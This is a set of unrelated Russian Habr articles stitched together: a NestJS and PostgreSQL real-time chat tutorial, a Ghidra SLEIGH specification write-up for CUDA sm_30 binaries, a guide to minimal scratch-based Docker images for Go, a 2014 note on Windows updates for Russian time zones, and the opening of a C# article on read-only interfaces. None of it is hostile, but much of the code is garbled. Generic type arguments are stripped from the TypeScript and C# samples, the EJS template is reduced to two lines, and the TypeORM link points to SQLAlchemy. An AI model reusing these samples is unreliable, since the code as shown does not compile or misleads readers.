▍ Необходимые требования
------------------------
Этот туториал предназначен для практической демонстрации. Чтобы повторять его этапы, вам нужно установить следующее:
* [Arctype](https://arctype.com/)
* [NodeJS](https://nodejs.org/)
* [PostgreSQL](https://www.postgresql.org/download/)
▍ Подготовка проекта
--------------------
Прежде чем приступать к кодингу, давайте подготовим проект NestJS и структуру проекта. Начнём мы с создания папки проекта. Откроем терминал и выполним следующую команду:
```
mkdir chatapp && cd chatapp
```
Далее установим NestJS CLI при помощи следующей команды:
```
npm i -g @nestjs/cli
```
После завершения установки выполните следующую команду для подготовки проекта NestJS.
```
nest new chat
```
Выберите удобный вам менеджер пакетов. В этом туториале мы будем использовать **npm** и подождём, пока установятся необходимые пакеты. После завершения установки установите **WebSocket** и **Socket.io** при помощи такой команды:
```
npm i --save @nestjs/websockets @nestjs/platform-socket.io
```
Затем создайте приложение-шлюз:
```
nest g gateway app
```
Теперь давайте запустим наш сервер:
```
npm run start:dev
```
▍ Настройка базы данных Postgres
--------------------------------
Теперь мы можем подготовить базу данных Postgres для хранения записей пользователей на сервере. Для начала мы воспользуемся [TypeORM](https://www.sqlalchemy.org/) (Object Relational Mapper) для подключения базы данных к нашему приложению. Сначала нам нужно создать базу данных. Переключимся на аккаунт пользователя Postgres.
```
sudo su - postgres
```
Далее создадим новый аккаунт пользователя:
```
createuser --interactive
```
Теперь создадим новую базу данных. Это можно сделать при помощи следующей команды:
```
createdb chat
```
Теперь мы подключим только что созданную базу данных. Для начала откроем файл the app.module.ts и добавим в массив **imports[]** следующий фрагмент кода:
```
...
import { TypeOrmModule } from '@nestjs/typeorm';
import { Chat } from './chat.entity';
imports: [
TypeOrmModule.forRoot({
type: 'postgres',
host: 'localhost',
username: '',
password: '',
database: 'chat',
entities: [Chat],
synchronize: true,
}),
TypeOrmModule.forFeature([Chat]),
],
...
```
В этом фрагменте кода мы подключили наше приложение к базе данных PostgresSQL при помощи метода **TypeOrmModule forRoot** и передали учётные данные базы данных. Замените и на пользователя и пароль, которые вы создали для базы данных **chat**.
▍ Создаём первый элемент чата
-----------------------------
После того как мы подключили приложение к базе данных, создадим элемент чата для хранения сообщений пользователя. Для этого создадим файл **chat.entity.ts** в папке `src` и добавим следующий фрагмент кода:
```
import {
Entity,
Column,
PrimaryGeneratedColumn,
CreateDateColumn,
} from 'typeorm';
@Entity()
export class Chat {
@PrimaryGeneratedColumn('uuid')
id: number;
@Column()
email: string;
@Column({ unique: true })
text: string;
@CreateDateColumn()
createdAt: Date;
}
```
В приведённом выше фрагменте кода мы создали столбцы для наших чатов при помощи декораторов **Entity**, **Column**, **CreatedDateColumn** и **PrimaryGenerateColumn**, предоставленных TypeOrm.
▍ Настройка WebSocket
---------------------
Давайте настроим подключение WebSocket к нашему серверу для отправки сообщений в реальном времени. Сначала мы импортируем требуемый модуль:
```
import {
SubscribeMessage,
WebSocketGateway,
OnGatewayInit,
WebSocketServer,
OnGatewayConnection,
OnGatewayDisconnect,
} from '@nestjs/websockets';
import { Socket, Server } from 'socket.io';
import { AppService } from './app.service';
import { Chat } from './chat.entity';
```
В этом фрагменте кода мы импортировали **SubscribeMessage()**, чтобы прослушивать события от клиента, и **WebSocketGateway()**, дающий доступ к socket.io; также мы импортировали экземпляры **OnGatewayInit**, **OnGatewayConnection** и **OnGatewayDisconnect**. Этот экземпляр WebSocket позволяет узнавать состояние приложения. Например, можно выполнять действия на сервере, когда он подключается и отключается от чата. Затем мы импортировали элемент **Chat** и **AppService**, раскрывающий методы, которые необходимы для сохранения сообщений пользователя.
```
@WebSocketGateway({
cors: {
origin: '*',
},
})
```
Чтобы клиент мог обмениваться данными с сервером, мы включим CORS, инициализировав **WebSocketGateway**.
```
export class AppGateway
implements OnGatewayInit, OnGatewayConnection, OnGatewayDisconnect
{
constructor(private appService: AppService) {}
@WebSocketServer() server: Server;
@SubscribeMessage('sendMessage')
async handleSendMessage(client: Socket, payload: Chat): Promise {
await this.appService.createMessage(payload);
this.server.emit('recMessage', payload);
}
afterInit(server: Server) {
console.log(server);
//Выполняем действия
}
handleDisconnect(client: Socket) {
console.log(`Disconnected: ${client.id}`);
//Выполняем действия
}
handleConnection(client: Socket, ...args: any[]) {
console.log(`Connected ${client.id}`);
//Выполняем действия
}
}
```
Далее в классе **AppGateWay** мы реализуем импортированные выше экземпляры WebSocket. Мы создали метод конструктора и привязываем AppService, чтобы он имел доступ к его методам. Далее мы создали инстанс сервера из декораторов **WebSocketServer**.
Далее мы создаём **handleSendMessage** при помощи экземпляра ***@SubscribeMessage()*** и метода handleMessage() для отправки данных на сторону клиента.
Когда из клиента этой функции отправляется сообщение, мы сохраняем его в базу данных и передаём сообщение обратно всем подключенным пользователям на стороне клиента. Также у нас есть множество других методов, с которыми можно экспериментировать, например, **afterInit**, который вызывается при подключении пользователя, и **handleDisconnect**, вызываемый при отключении пользователя. Метод **handleConnection** запускается, когда пользователь устанавливает соединение.
▍ Создание контроллера/сервиса
------------------------------
Теперь давайте создадим сервис и контроллер для сохранения чата и рендеринга статической страницы. Откройте файл **app.service.ts** и дополните его содержимое следующим фрагментом кода:
```
import { Injectable } from '@nestjs/common';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm';
import { Chat } from './chat.entity';
@Injectable()
export class AppService {
constructor(
@InjectRepository(Chat) private chatRepository: Repository,
) {}
async createMessage(chat: Chat): Promise {
return await this.chatRepository.save(chat);
}
async getMessages(): Promise {
return await this.chatRepository.find();
}
}
```
Затем дополним файл **app.controller.ts** таким кодом:
```
import { Controller, Render, Get, Res } from '@nestjs/common';
import { AppService } from './app.service';
import { Chat } from './chat.entity';
@Controller()
export class AppController {
constructor(private readonly appService: AppService) {}
@Get('/chat')
@Render('index')
Home() {
return;
}
@Get('/api/chat')
async Chat(@Res() res) {
const messages = await this.appService.getMessages();
res.json(messages);
}
}
```
В показанном выше фрагменте кода мы создали два маршрута для рендеринга статической страницы и сообщений пользователя.
▍ Передача статической страницы
-------------------------------
Давайте теперь сконфигурируем приложение для рендеринга статического файла и страниц. Для этого мы реализуем рендеринг на стороне сервера. Сначала в файле **main.ts** сконфигурируем приложение для статических файлов сервера следующей командой:
```
async function bootstrap() {
...
app.useStaticAssets(join(__dirname, '..', 'static'));
app.setBaseViewsDir(join(__dirname, '..', 'views'));
app.setViewEngine('ejs');
...
}
```
Далее создадим в каталоге **src папки** **static** и **views**. В папке `views` создадим файл **index.ejs** и добавим в него следующий код:
```
Let Chat
Lets Chat
```
Чтобы ускорить работу шаблонов, мы использовали Bootstrap для добавления стилизации. Затем мы добавили два поля ввода и неупорядоченный список для отображения сообщений пользователя. Также мы добавили файл **app.js**, который будет создаваться позже в этом разделе, и ссылку на клиент **socket.io**.
Теперь создадим файл **app.js** и добавим следующий фрагмент кода:
```
const socket = io('http://localhost:3002');
const msgBox = document.getElementById('exampleFormControlTextarea1');
const msgCont = document.getElementById('data-container');
const email = document.getElementById('email');
//Получаем старые сообщения с сервера
const messages = [];
function getMessages() {
fetch('http://localhost:3002/api/chat')
.then((response) => response.json())
.then((data) => {
loadDate(data);
data.forEach((el) => {
messages.push(el);
});
})
.catch((err) => console.error(err));
}
getMessages();
//Когда пользователь нажимает клавишу enter key, отправляем сообщение.
msgBox.addEventListener('keydown', (e) => {
if (e.keyCode === 13) {
sendMessage({ email: email.value, text: e.target.value });
e.target.value = '';
}
});
//Отображаем сообщения пользователям
function loadDate(data) {
let messages = '';
data.map((message) => {
messages += ` - ${message.email}
${message.text}
`;
});
msgCont.innerHTML = messages;
}
//socket.io
//Создаём событие sendMessage, чтобы передать сообщение
function sendMessage(message) {
socket.emit('sendMessage', message);
}
//Слушаем событие recMessage, чтобы получать сообщения, отправленные пользователями
socket.on('recMessage', (message) => {
messages.push(message);
loadDate(messages);
})
```
В приведённом выше фрагменте кода мы создали экземпляр socket.io и слушаем события на сервере, чтобы отправлять и получать сообщение с сервера. По умолчанию нам нужно, чтобы старые чаты становились доступными, когда пользователь присоединяется к чату. Наше приложение должно выглядеть как на скриншоте:
▍ Просмотр данных пользователей при помощи Arctype
--------------------------------------------------
Мы успешно создали чат-приложение. Для начала давайте просмотрим данные пользователей при помощи Arctype. Сначала запустим Arctype, нажмём на вкладку PostgreSQL и введём следующие учётные данные PostgreSQL:
Затем нажмём на chattable, чтобы просмотреть сообщения чата пользователя:
▍ Тестирование приложения
-------------------------
Теперь откроем приложение в двух вкладках или окнах, и попытаемся отправить сообщение с другим адресом электронной почты:
Если взглянуть на консоль, то мы увидим логи того, как пользователь подключается и отключается от сервера, этим занимаются методы **handleDisconnect** и **handleConnection**.
▍ Заключение
------------
В этом туториале мы узнали, как создать приложение чата реального времени с помощью Nestjs и PostgreSQL. Мы начали с краткого введения в Nestjs и WebSockets. Затем создали демо-приложение для демонстрации реализации. Надеюсь, вы получили необходимую информацию. Подробнее о реализации WebSocket можно узнать из [документации](https://docs.nestjs.com/websockets/gateways) Nestjs, это позволит вам расширить возможности приложения.
[](https://bit.ly/3PT6wqs?utm_source=habr&utm_medium=article&utm_campaign=ruvds&utm_content=prilozhenie_dlya_chata_v_realnom_vremeni_s_pomoshhyu_nestjs_i_postgresql) | https://habr.com/ru/post/672848/ | null | ru | null |
# Пишем спецификацию под Nvidia Kepler (бинарники CUDA, версия языка sm_30) для Ghidra
Для обычных процессорных языков уже написано довольно много спецификаций для Ghidra, однако для графических ничего нет. Оно и понятно, ведь там своя специфика: предикаты, константы, через которые передаются параметры в том числе, и другие вещи, унаследованные от шейдеров. Кроме того формат, который используется для хранения кода, зачастую проприетарный, и его нужно самостоятельно ревёрсить.
В этой статье на двух примерах разберёмся, что к чему.
Первая программа — простейший axpy (аналог hello world для GPGPU). Вторая помогает понять реализацию условий и прыжков на GPU, т.к. там всё по-другому.
Во всех Nvidia языках используется кодировка little endian, так что сразу копируем байты из hex-редактора в какой-нибудь блокнот (например, Notepad++) в обратном порядке по 8 штук (длина инструкций здесь постоянна). Затем через программерский калькулятор (подойдёт тот, что от Microsoft) переводим в двоичный код. Далее ищем совпадения, составляем маску инструкции, затем операндов. Для декодирования и поиска маски использовался редактор hex и дизассемблер cuobjdump, иногда требуется ассемблер, как в AMDGPU(т.к. там дизассемблер недоступен, но это тема для отдельной статьи). Работает это так: пробуем последовательно инвертировать все подозрительные биты в калькуляторе, затем получаем новое шестнадцатеричное значение для байтов, их подставляем в бинарник, скомпилированный через nvcc либо ассемблер, если он существует, что бывает не всегда. Затем через cuobjdump проверяем.
Выкладываю в формате исходник (в основном на C, без плюсов и ООП для более тесной связи с машинным GPU кодом), затем дизасм + сразу байты, ибо так удобнее, их как раз не надо менять местами.
Копируем в axpy.cu и скомпилируем через cmd: nvcc axpy.cu --cubin --gpu-architecture sm\_30
Полученный ELF-файл с именем axpy.cubin дизассемблируем там же: cuobjdump axpy.cubin -sass
Пример 1:
```
__global__ void axpy(float param_1, float* param_2, float* param_3) {
unsigned int uVar1 = threadIdx.x;
param_2[uVar1] = param_1 * param_3[uVar1];
}
```
**Дамп**
```
/*0000*/
/* 0x22c04282c2804307 */
/*0008*/ MOV R1, c[0x0][0x44];
/* 0x2800400110005de4 */
/*0010*/ S2R R0, SR_TID.X;
/* 0x2c00000084001c04 */
/*0018*/ MOV32I R5, 0x4;
/* 0x1800000010015de2 */
/*0020*/ ISCADD R2.CC, R0, c[0x0][0x150], 0x2;
/* 0x4001400540009c43 */
/*0030*/ LD.E R2, [R2];
/* 0x8400000000209c85 */
/*0038*/ ISCADD R4.CC, R0, c[0x0][0x148], 0x2;
/* 0x4001400520011c43 */
/*0040*/
/* 0x20000002e04283f7 */
/*0048*/ IMAD.U32.U32.HI.X R5, R0, R5, c[0x0][0x14c];
/* 0x208a800530015c43 */
/*0050*/ FMUL R0, R2, c[0x0][0x140];
/* 0x5800400500201c00 */
/*0058*/ ST.E [R4], R0;
/* 0x9400000000401c85 */
/*0060*/ EXIT;
/* 0x8000000000001de7 */
/*0068*/ BRA 0x68;
/* 0x4003ffffe0001de7 */
/*0070*/ NOP;
/* 0x4000000000001de4 */
/*0078*/ NOP;
/* 0x4000000000001de4 */
```
**Результат декомпиляции**
```
void axpy(float param_1,float *param_2,float *param_3) {
uint uVar1;
uVar1 = *&threadIdx.x
param_2[uVar1] = param_3[uVar1] * param_1;
return;
}
```
Пример 2:
```
__global__ void predicates(float* param_1, float* param_2) {
unsigned int uVar1 = threadIdx.x + blockIdx.x * blockDim.x;
if ((uVar1 > 5) & (uVar1 < 10)) param_1[uVar1] = uVar1;
else param_2[uVar1] = uVar1;
}
```
**Дамп**
```
/*0000*/
/* 0x2272028042823307 */
/*0008*/ MOV R1, c[0x0][0x44];
/* 0x2800400110005de4 */
/*0010*/ S2R R0, SR_TID.X;
/* 0x2c00000084001c04 */
/*0018*/ S2R R3, SR_CTAID.X;
/* 0x2c0000009400dc04 */
/*0020*/ IMAD R0, R3, c[0x0][0x28], R0;
/* 0x20004000a0301ca3 */
/*0028*/ MOV32I R3, 0x4;
/* 0x180000001000dde2 */
/*0030*/ IADD32I R2, R0, -0x6;
/* 0x0bffffffe8009c02 */
/*0038*/ I2F.F32.U32 R4, R0;
/* 0x1800000001211c04 */
/*0040*/
/* 0x22c042e04282c2c7 */
/*0048*/ ISETP.GE.U32.AND P0, PT, R2, 0x4, PT;
/* 0x1b0ec0001021dc03 */
/*0050*/ @P0 ISCADD R2.CC, R0, c[0x0][0x148], 0x2;
/* 0x4001400520008043 */
/*0058*/ @P0 IMAD.U32.U32.HI.X R3, R0, R3, c[0x0][0x14c];
/* 0x208680053000c043 */
/*0060*/ @P0 ST.E [R2], R4;
/* 0x9400000000210085 */
/*0068*/ @P0 EXIT;
/* 0x80000000000001e7 */
/*0070*/ ISCADD R2.CC, R0, c[0x0][0x140], 0x2;
/* 0x4001400500009c43 */
/*0078*/ MOV32I R3, 0x4;
/* 0x180000001000dde2 */
/*0080*/
/* 0x2000000002e04287 */
/*0088*/ IMAD.U32.U32.HI.X R3, R0, R3, c[0x0][0x144];
/* 0x208680051000dc43 */
/*0090*/ ST.E [R2], R4;
/* 0x9400000000211c85 */
/*0098*/ EXIT;
/* 0x8000000000001de7 */
/*00a0*/ BRA 0xa0;
/* 0x4003ffffe0001de7 */
/*00a8*/ NOP;
/* 0x4000000000001de4 */
/*00b0*/ NOP;
/* 0x4000000000001de4 */
/*00b8*/ NOP;
/* 0x4000000000001de4 */
```
**Результат декомпиляции**
```
void predicates(float *param_1,float *param_2) {
uint uVar1;
uVar1 = *&blockIdx.x * (int)_DAT_constants_00000028 + *&threadIdx.x
if (uVar1 - 6 < 4) {
param_1[uVar1] = (float)uVar1;
return;
}
param_2[uVar1] = (float)uVar1;
return;
}
```
Нетрудно догадаться, что тесты изначально заточены под машинный код, чтобы компилятору нечего было оптимизировать. Для всего остального пришлось бы вручную отменять оптимизации. В сложных же примерах это вовсе может быть невозможно, так что для таких случаев придётся довериться декомпилятору и фронтенду.
Вообще правило такое — для тестирования фронтенда берём любой простой (с минимумом возможных оптимизаций) первый подходящих (воспроизводящий ошибки) пример. Для остального декомпилированный код уже будет с оптимизациями (либо только как-то через рефакторинг поправлять). Но пока что основная задача — хотя бы просто верный код, делающий то же самое, что и машинный. Это и есть «Software modelling». Сам «Software modelling» не предполагает рефакторинг, перевод C в C++, восстановление классов, и уж тем более таких вещей как идентификация шаблонов.
Теперь ищем паттерны для мнемоники, операндов и модификаторов.
Для этого сравниваем биты (в двоичном представлении) между подозрительными инструкциями (или строками, если их так удобнее называть). Можно также воспользоваться тем, что выкладывают другие пользователи в своих вопросах на stackoverflow по типу «помогите понять двоичный/sass/машинный код», задействовать туториалы (в т.ч. на китайском языке) и прочие ресурсы. Так, основной номер операции хранится в битах 58-63, но есть и дополнительные биты 0-4 (они различают инструкции «I2F», «ISETP», «MOV32I»), где-то вместо них 0-2 (для пренебрежения 3-4 битами в пустых инструкциях, в спецификации они отмечены как «UNK»).
Для регистров и чисел-констант можно экспериментировать с дизассемблером дабы найти все биты, влияющие на вывод дампа наподобие выложенного под спойлером. Все поля, которые мне удалось найти, есть в спецификации на Github, файл CUDA.slaspec, раздел token.
Затем нужно придумать адреса для регистров, опять же они есть на Github. Это нужно, т.к. на микроуровне Sleigh рассматривает регистры как глобальные переменные в пространстве с типом «register\_space», но т.к. их пространство не отмечено как «inferable» (и наверняка оно не может быть), то они в декомпиляторе становятся либо локальными переменными (чаще всего с интерфиксом «Var», но иногда вроде был и префикс «local»), либо параметрами (префикс «param\_»). SP так и не пригодился, нужен в основном формально для обеспечения работоспособности декомпилятора. PC (что-то вроде IP из x86) нужен для эмуляции.
Затем идут предикатовые регистры, что-то вроде флагов, но уже более «general purpose», чем для заранее продиктованной цели, вроде переполнения, (не)равенства нулю и т.п.
Затем блокировочный регистр для моделирования связки инструкций ISCADD .CC и IMAD.HI, т.к. первая из них в моей реализации выполняет подсчет за себя и за вторую, чтобы избежать переноса части суммы в старшие 4 байта, т.к. это испортит декомпиляцию. Но тогда надо заблокировать следующий регистр до завершения операции IMAD.HI. Что-то подобное, т.е. разночтение официальной документации и ожидаемого вывода декомпилятора, уже было в модуле SPU для той же Ghidra.
Потом идут специальные регистры, которые пока что реализованы через cpool. В будущем я планирую их заменить на символы, определённые по умолчанию для какого нибудь «inferable» пространства. Это те самые threadIdx, blockIdx.
Затем привязываем переменные к полям dest, par0, par1, par2, res. Затем идут подтаблицы, а после них — то, ради чего всё и затевалось — основные (корневые) таблицы с главными инструкциями.
Здесь нужно строго следовать формату «мнемоника-операнды», однако даётся послабление для модификаторов, которые, тем не менее, должны быть прикреплены к мнемонике либо к секции с операндами. Никакие другие форматы недопустимы, даже тот же Hexagon DSP asm придётся адаптировать к этому синтаксису, что впрочем не очень сложно.
Финальным этапом будет написание реализации для инструкций на языке микропрограммирования Pcode. Единственное, что хотелось бы отметить из первого примера, это инструкции ISCADD .CC и IMAD.HI, где первая из них берёт указатель на регистры и разыменовывает их как указатели на 8 байтов вместо 4. Это сделано намеренно для того, чтобы лучше приспособиться к декомпилятору и его поведению, несмотря на то, что написано в документации Nvidia про перенос части суммы.
Для второго примера лучше поставить галочку в настройках декомпилятора напротив надписи «Simplify predication». Смысл в том, что предикаты — это одно и то же условие для разных инструкций, по сути ни что иное как всем известное «SIMD», либо его очередной аналог. Т.е. если предикатовый бит установлен, то инструкции выполняются, притом подряд.
Нужно также завести привычку сразу писать реализацию для каждой инструкции, а не только прототип (мнемоника-операнды), ведь есть ещё декомпилятор, эмулятор и другие анализаторы.
Но вообще написать реализацию на Pcode — задача даже более простая, чем писать грамматику для декодера байтов. Быстро получалось исправлять реализацию для некоторых сложных инструкций из x86 (и не только), благодаря очень удобному промежуточному языку, единому мидлэнду (оптимизатор), 2 бэкэндам (в основном C; как альтернативный вариант — Java/C#, больше похоже на последний, т.к. время от времени появляется goto, но не labeled break).
В следующих статьях, возможно, будут также фронтенды для managed языков, таких как DXBC, SPIR-V, они будут использовать бэкэнд Java/C#. Но пока что в планах только машинные коды, т.к. байткоды требуют особого подхода.
[Проект](https://github.com/Danil6969/Ghidra-Nvidia-GPU)
[Ghidra](https://github.com/NationalSecurityAgency/ghidra)
Справки:
[Pcode](https://ghidra.re/courses/languages/html/pcoderef.html)
[Sleigh](https://ghidra.re/courses/languages/html/sleigh.html) | https://habr.com/ru/post/509156/ | null | ru | null |
# Создание минимального Docker-контейнера для Go-приложений
Привет, Хабр! Предлагаю вашему вниманию перевод статьи основателя сервиса Meetspaceapp Nick Gauthier [«Building Minimal Docker Containers for Go Applications»](https://blog.codeship.com/building-minimal-docker-containers-for-go-applications/).
*Время чтения: 6 минут*
Существует множество, как официальных, так и поддерживаемых сообществом контейнеров для различных языков программирования (включая Go). Но эти контейнеры могут быть довольно большими. Давайте сперва сравним стандартные методы создания контейнеров для Go-приложений, а затем я покажу способ создания крайне маленьких статических контейнерезированных Go-приложений
### Часть 1: Наше «приложение»
Для тестирования нам потребуется какое-нибудь маленькое приложение. Давайте будем фетчить google.com и выводить размер HTML.
```
package main
import (
"fmt"
"io/ioutil"
"net/http"
"os"
)
func main() {
resp, err := http.Get("https://google.com")
check(err)
body, err := ioutil.ReadAll(resp.Body)
check(err)
fmt.Println(len(body))
}
func check(err error) {
if err != nil {
fmt.Println(err)
os.Exit(1)
}
}
```
Если мы запустимся, то получим только какое-то число. У меня вышло около 17К. Я целенаправленно решил использовать SSL, но причину объясню позднее.
### Часть 2: Докеризация
Используя официальный образ Go мы напишем “onbuild” Dockerfile:
```
FROM golang:onbuild
```
“Onbuild” образ предполагает, что у вашего проекта стандартная структура и создаст стандартное Go-приложение. Если же вам нужна большая гибкость, можно использовать стандартный образ Go и самостоятельно его скомпилировать:
```
FROM golang:latest
RUN mkdir /app
ADD . /app/
WORKDIR /app
RUN go build -o main .
CMD ["/app/main"]
```
Хорошо бы здесь еще создать Makefile или что-то еще подобное, что вы используете для билда приложений. Мы могли бы загрузить какие-нибудь ресурсы с CDN или импортировать их из другого проекта, или, может, мы хотим запускать тесты в контейнере…
Как вы видите, докеризация Go довольно несложная, особенно если учесть, что у нас не используется сервисы и порты, к которым надо подключаться. Но есть один серьезный недостаток у [официальных образов](https://registry.hub.docker.com/_/golang/) – они реально большие. Давайте посмотрим:
```
REPOSITORY SIZE TAG IMAGE ID CREATED VIRTUAL SIZE
example-onbuild latest 9dfb1bbac2b8 19 minutes ago 520.7MB
example-golang latest 02e19291523e 19 minutes ago 520.7MB
golang onbuild 3be7ee2ec1ae 9 days ago 514.9MB
golang 1.4.2 121a93c90463 9 days ago 514.9MB
golang latest 121a93c90463 9 days ago 514.9MB
```
Базовый образ занимает 514,9МБ, а наше приложение добавляет еще 5,8МБ. Как так выходит, что для нашего скомпилированного приложения требуется 515МБ зависимостей?
Дело в том, что наше приложение было скомпилировано внутри контейнера. Это означает, что контейнеру требуется установить Go. Следовательно, ему нужны зависимости Go, а так же менеджер пакетов и реально целая ОС. Фактически, если вы посмотрите Dockerfile для golang:1.4, — он ставится с Debian Jessie, устанавливает компилятор GCC и инструменты сборки, скачивает Go и устанавливает его. Таким образом, мы получаем целый сервер Debian и набор инструментов Go для запуска нашего крошечного приложения. Что можно с этим сделать?
### Часть 3: Компилируй!
Улучшить положение можно, немного отступив от привычного всем подхода. Для этого мы собираемся скомпилировать Go в нашем рабочем каталоге, а затем добавить двоичный файл в контейнер. Это означает, что простая сборка докера не будет работать. Нам нужна многошаговая сборка контейнера:
```
go build -o main .
docker build -t example-scratch -f Dockerfile.scratch .
```
И простой Dockerfile.scratch:
```
FROM scratch
ADD main /
CMD ["/main"]
```
Что такое scratch? Scratch — это специальный пустой образ в докере. Его размер 0B:
```
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
example-scratch latest ca1ad50c9256 About a minute ago 5.60MB
scratch latest 511136ea3c5a 22 months ago 0B
```
В итоге наш контейнер занимает всего лишь 5,6 МБ. Отлично! Но есть одна проблема:
```
$ docker run -it example-scratch
no such file or directory
```
Что это значит? Мне потребовалось некоторое время, чтобы понять, что наш бинарный файл Go ищет библиотеки в той операционной системе, в которой запущен. Мы скомпилировали наше приложение, но оно по-прежнему динамически связано с библиотеками, которые необходимо запустить (т. е. со всеми библиотеками C). К сожалению, scratch пуст, поэтому нет ни библиотек, ни путей загрузки. Нам нужно изменить скрипт сборки, чтобы статически компилировать наше приложение со всеми встроенными библиотеками:
```
CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main .
```
Мы отключаем cgo, который отдает нам статический бинарник. Также мы указываем Linux в качестве ОС (на случай, если кто-то билдит его на Mac или Windows). Флаг -a означает перестройку всех пакетов, которые мы используем, что перестроит весь импорт с отключенным cgo. Теперь у нас есть статический бинарник. Давайте запустим:
```
$ docker run -it example-scratch
Get https://google.com: x509: failed to load system roots and no roots provided
```
А это еще что? Вот почему я решил использовать SSL в нашем примере. Это действительно распространенный «косяк» для подобных сценариев: для выполнения запросов SSL нам нужны рутовые сертификаты SSL. Так как же мы добавим их в наш контейнер?
В зависимости от операционной системы сертификаты могут лежать в разных местах. Для многих дистрибутивов Linux это **/etc/ssl/certs/ca-certificates.crt**. Итак, во-первых, мы скопируем **ca-certificates.crt** с нашего компьютера (или виртуальной машины Linux, или поставщика онлайн-сертификатов) в наш репозиторий. Затем мы добавим **ADD** в наш Dockerfile, чтобы переместить этот файл туда, где Go его ожидает:
```
FROM scratch
ADD ca-certificates.crt /etc/ssl/certs/
ADD main /
CMD ["/main"]
```
Теперь просто пересоздадим наш образ и запустим его. Работает! Давайте посмотрим размер нашего приложения теперь:
```
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
example-scratch latest ca1ad50c9256 About a minute ago 6.12MB
example-onbuild latest 9dfb1bbac2b8 19 minutes ago 520.7MB
example-golang latest 02e19291523e 19 minutes ago 520.7MB
golang onbuild 3be7ee2ec1ae 9 days ago 514.9MB
golang 1.4.2 121a93c90463 9 days ago 514.9MB
golang latest 121a93c90463 9 days ago 514.9MB
scratch latest 511136ea3c5a 22 months ago 0B
```
Мы добавили чуть больше пол мегабайта (и большая часть которого – от статического файла, а не от корневых сертификатов). У нас получился реально маленький контейнер — его будет очень удобно перемещать между реестрами.
### Заключение
Наша цель состояла в том, чтобы уменьшить размер контейнера для приложения Go. Особенность Go заключается в том, что он может создавать статически связанный двоичный файл, полностью содержащий приложение. Другие языки тоже могут так, но далеко не все. Применение подобной техники уменьшения размера контейнера в других языках будет зависеть от их минимальных требований. Например, приложение Java или JVM может быть скомпилировано вне контейнера и затем внедрено в контейнер, который содержит только JVM (и ее зависимости). Но даже так будет меньше, чем контейнер с JDK. | https://habr.com/ru/post/460535/ | null | ru | null |
# Microsoft выпустила обновление для часовых поясов России
BUILTIN\Administrator, напоминаю, что 26 октября в России будет перевод часов. У тебя есть целый месяц на подготовку и тестирование, у Microsoft уже [почти все готово](http://support.microsoft.com/kb/2998527)
Также напоминаю, что это не просто перевод стрелок, а еще и введение новых часовых поясов и удаление старых. На некоторых системах тебе придется ручками, насколько ты сможешь их автоматизировать, изменить часовой пояс. Это следует начинать делать уже сейчас.
* Удмуртия и Самарская область должны будут перейти в часовую зону **Russia Time Zone 3**
* Кемеровкая область должна будет перейти в часовую зону **Russia Time Zone 6**
* Забайкальский край должен будет перейти в часовую зону **Russia Time Zone 7**
* Магаданская область должна будет перейти в часовую зону **Russian Time Zone 8**
* Чукотка и Камчатка должны будут перейти в часовую зону **Russia Time Zone 11**
* Часовой пояс **Magadan Standard Time** будет удален (в декабре), так что оставлять его просто так тоже нельзя и нужно перевести
Для Windows Server 2003 \ 2003 R2 обновления пока нет, но будет. А вот для XP, судя по статье, и не планируется. Но не унывай, наверняка можно будет выдрать из обновления для 2003 R2, как только оно появится!
Все подробности есть по ссылке на апдейт [KB2998527](http://support.microsoft.com/kb/2998527). Там же написано, как это провернуть из **командной строки**
**Очень важно:** Пред-обновление происходит через механизм «летнего» времени. Таким образом для сохранения работоспособности обязательно нужно чтобы у вас был включен переход на «летнее» время, так как именно он до 26 октября 2014 дает тот самый один час, компенсируя откат часового пояса.
Сам документ, где все подробно прописано называется [Федеральный закон от 21.07.2014 № 248-ФЗ «О внесении изменений в Федеральный закон „Об исчислении времени“](http://pravo.gov.ru:8080/page.aspx?111660)
**Немного „странных неочевидностей“**
Сразу после обновления, зоны начнут отображаться уже в новом формате и на час меньше. Это правильно, откатывать не нужно!
Дело в том, что в этот период времени будет установлено „Летнее“ время, которое дает разницу в (DST = TZ +01:00) к часовой зоне. Таким образом (для примера — Москва)
`(UTC+04:00) = (UTC+03:00) + (DST +01:00)`
То есть часовой пояс +3 и еще +1 для „Летнего“ времени.
Однако необходимо убедиться, что у вас на ПК включен перевод на летнее\зимнее время.
*PS>Этот пост избавлен от политического срача, я надеюсь* | https://habr.com/ru/post/238019/ | null | ru | null |
# Как жить без const?
Часто, передавая объект в какой-либо метод, нам бы хотелось сказать ему: «Вот, держи этот объект, но ты не имеешь право изменять его», и как-то отметить это при вызове. Плюсы очевидны: помимо того, что код становится надёжнее, он становится ещё и более читаемым. Нам не нужно заходить в реализацию каждого метода, чтобы отследить, как и где изменяется интересующий нас объект. Более того, если константность передаваемых аргументов указана в сигнатуре метода, то по самой такой сигнатуре, с той или иной точностью, уже можно предположить, что же он собственно делает. Ещё один плюс – потокобезопасность, т.к. мы знаем, что объект является read only.
В C/C++ для этих целей существует ключевое слово const. Многие скажут, что такой механизм слишком ненадёжен, однако, в C# нет и такого. И возможно он появится в будущих версиях (разработчики этого не отрицают), но как же быть сейчас?
##### 1. Неизменяемые объекты (Immutable objects)
Самый известный подобный объект в C# — это строка (string). В нём нет ни одного метода, приводящего к изменению самого объекта, а только к созданию нового. И всё с ними вроде бы хорошо и красиво (они просты в использовании и надёжны), пока мы не вспомним о производительности. К примеру, найти подстроку можно и без копирования всего массива символов, однако, что если нам нужно, скажем, заменить символы в строке? А что если нам нужно обработать массив из тысяч таких строк? В каждом случае будет производиться создание нового объекта строки и копирование всего массива. Старые строки нам уже не нужны, но сами строки ничего не знают об этом и продолжают копировать данные. Только разработчик, вызывая метод, может давать или не давать право на изменение объектов-аргументов. К тому же, использование неизменяемых объектов никак не отражено в сигнатуре метода. Как же нам быть?
##### 2. Интерфейс
Один из вариантов – создать для объекта read only интерфейс, из которого исключить все методы, изменяющие объект. А если этот объект является generic’ом, то к интерфейсу можно добавить ещё и ковариантность. На примере с вектором это будет выглядеть так:
```
interface IVectorConst
{
T this[int nIndex] { get; }
}
class Vector : IVectorConst
{
private readonly T[] \_vector;
public Vector(int nSize)
{
\_vector = new T[nSize];
}
public T this[int nIndex]
{
get { return \_vector[nIndex]; }
set { \_vector[nIndex] = value; }
}
}
void ReadVector(IVectorConst vector)
{
...
}
```
